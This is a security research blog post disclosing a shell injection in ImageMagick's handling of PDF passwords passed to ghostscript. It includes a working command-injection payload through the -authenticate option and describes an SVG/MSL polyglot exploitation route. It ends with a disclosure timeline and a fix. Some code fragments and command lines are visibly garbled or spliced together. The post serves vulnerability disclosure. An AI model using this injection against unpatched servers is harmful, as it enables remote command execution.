“Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG [ and many more ]”1
In 2016 ImageTragick was revealed. The associated reseachers showed that ImageMagick is not only powerful, eg you can read local files, but that it is possible to execute shell commands via a maliciously crafted image.
In late 2016 and in 2018 Tavis Ormandy (@taviso) showed how the support of external programs ( ghostscript) in ImageMagick could lead to remote execution.
Given the past research I had a quick look at the supported external programs (libreoffice/openoffice I already spent quite some time on), and I decided to get a proper understanding how IM (ImageMagick) calls external programs and the way they fixed the shell injections in the ImageTragick report.
As you are reading this blogpost, it paid off and I found a vulnerability. But I also learned two things:
Note:
1) The IM team is really active and is trying to address any issue raised quickly (thats important later)
2) ImageMagick is an awesome tool to convert files. It supports some really weird old file types (often via external programs) and is trying to be as user friendly as possible, maybe a little too much ^^
The Fix: ImageMagick, https and cURL
As there are lot of files in coders, I decided to check how https: URLs are handled by ImageMagick as I already knew curl will be used in the end, which was vulnerable to command injection.
In case IM has to handle https: URLs – the following branch is called:
status=InvokeDelegate(read_info,image,"https:decode",(char *) NULL,whitelist[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 "
"$-_.+!;*(),{}|\^~[]`"><#%/?:@&=";
[...]
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
*p='_';
return(sanitize_source);This function handles calling external executables. The defined curl command in delegates.xml is used and the user defined URL is included in single quotes. As single quotes were filtered before, it is not possible to inject additional shell commands.
I verified that by modifying the source code of IM and included some printf statements to dump the created command.
So let's assume a SVG or MVG (an example is available in ImageTragick) that specifies an https: URL like this:
Command line:
The created shell command by ImageMagick looks like this:
curl -s -k -L -o 'IMrandomnumber.dat' 'https://example.com/test_injection'convert test.msvg out.pngImageMagick also allows to set a specific handler via this syntax:
convert msvg:test.svg out.pngShort intermission - reading local files
As ImageMagick allows to set specific file handlers as shown above, I decided to make a quick assessment, which handlers could allow to read and leak local files.
My test case assumed that a user controlled SVG file is converted by IMs internal SVG parser to a PNG file, which is returned to the end user afterwards. An example could be an avatar upload on a website.
convert test.svg userfile.pngThis vector only works of course when OpenOffice/LibreOffice is installed:
This is not an exhausted list but should document the general idea. Back to the shell injection.
Entry Point - Encrypted PDFs
After I got an understanding of the usage of curl, I checked again the command defined in delegates.xml:
command=""@WWWDecodeDelegate@" -s -k -L -o "%u.dat" "https:%M""/>
(void) FormatLocaleString(passphrase,MagickPathExtent,
""-sPDFPassword=%s" ",option);So, I tested it via the following command to dump the created command:
convert -authenticate "password" test.pdf out.pngShell command created:
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72"https://insert-script.blogspot.com/2020/11/"-sPDFPassword=password" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9'As I confirmed that the password is included in the created gs command, which parses the specified PDF, it was time to check if double quotes are handled correctly:
convert -authenticate 'test" FFFFFF' test.pdf out.png'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" FFFFFF" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9
if ((asynchronous != MagickFalse) ||
(strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
status=system(sanitize_command); Putting alltogether I tested the following command:
convert -authenticate 'test" `echo $(id)> ./poc`;"' test.pdf out.pngShell command created:
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test"https://insert-script.blogspot.com/2020/11/`echo $(id)> ./poc`;"" '-sOutputFile=/tmp/magick-pyNxb2vdkh_8Avwvw0OlVhu2EfI3wSKl%d' '-f/tmp/magick-IxaYR7GhN3Sbz-299koufEXO-ccxx46u' '-f/tmp/magick-GXwZIbtEu63vyLALFcqHd2c0Jr24iitE'The file "poc" was created and it contained the output of the id command. At this point I had a confirmed shell injection vulnerability.
The problem was: It is unlikely that a user has the possibility to set the authenticate parameter. So I decided to look for a better PoC:
Explotation - MSL and Polyglots
if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) CloneString(&image_info->density,value);
break;
}Via additional debug calls I verified that this path handles any tag, which sets the authenticate attribute. But the code assigns the defined value to the density property, which made no sense. After studying the rest of the MSL code I came to the following conclusion:
1) This code should set the authenticate attribute similar to the "-authenticate" command line parameter.
2) The code was simply wrong and therefore blocking the possibility to abuse the shell injection.
In the end the code was fixed correctly:
if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) SetImageOption(image_info,keyword,value);
break;
}I immediately created a PoC MSL script to verify I could abuse the shell injection. Note that it is necessary to specify the msl: protocol handler so IM actually parses the script file correctly:
convert msl:test.msl whatever.pngAnd it worked - the "poc" file was created, proofing the shell injection.
Last step: Wrap this all up in one SVG polyglot file.
SVG MSL polyglot file:
My created polyglot file is a SVG file, which loads itself as an MSF file to trigger the shell injection vulnerability. I will start showing the SVG polyglot file and explain its structure:
poc.svg:
First of all the SVG structure has an image root tag. As the parser does not enforce that the SVG tag is the root tag, IM has no problems parsing this file as a SVG. The SVG structure specifies an image URL, which uses msl:poc.svg. This tells ImageMagick to load poc.svg with the MSL coder.
Although MSF is a XML based structure, the MSF coder does not deploy a real XML parser. It only requires that the file starts with a tag it supports. Another trick I used is present in the read tag. It is necessary to target a PDF file to trigger the vulnerability. To bypass this necessity, I specified any known local file and used the pdf: protocol handler to ensure it is treated as a PDF:
PoC file in action:
The PoC is still not perfect as I have to assume the filename does not get changed as the file has to be able to reference itself. But I decided thats good enough for now.
PreConditions and protection
Obviously this vulnerable only works in case ImageMagick is not compiled with a third-party library, which handles PDF parsing.
Also a user has to be able to set the "authenticate" parameter, either via the command line or via MSL (as shown in my PoC file).
Affected versions:
- Injection via "-authenticate"
-ImageMagick 7: 7.0.5-3 up 7.0.10-40
- Explotation via MSL:
- ImageMagick 7: 7.0.10-35 up 7.0.10-40
Regarding ImageMagick 6 (aka legacy). Based on the source code the following versions should be vulnerable.
- Injection via "-authenticate"
- ImageMagick 6: 6.9.8-1 up to 6.9.11-40
- Explotation via MSL:
-ImageMagick 6: 6.9.11-35 up to 6.9.11-40
I focused my testing solely on ImageMagick 7 so I tried ImageMagick 6 really late. It seems the "-authenticate" feature is broken in the legacy branch. But during testing my VM died so I leave it to the readers to create a PoC for ImageMagick 6 (or maybe I will do it as soon as I have some free time)
Timeline:
- 2020-11-01: Reported the vuln to ZDI
- 2020-11-16: Didn't want to wait for any response from ZDI so reported the issue to ImageMagick
- 2020-11-16: ImageMagick deployed a fix and asked me if I could wait for disclosure, as there is a release planned for this weekend.
- 2020-11-16-20: Discussed the fix with the ImageMagick team.
- 2020-11-21: Version 7.0.10-40 and 6.9.11-40 released.
I want to thank the ImageMagick developers. They try to address and fix any issues raised as quick as possible (feature or security related, doesn't matter). Additionally they allowed me to provide input how I would address the issue (which is not always accepted^^).
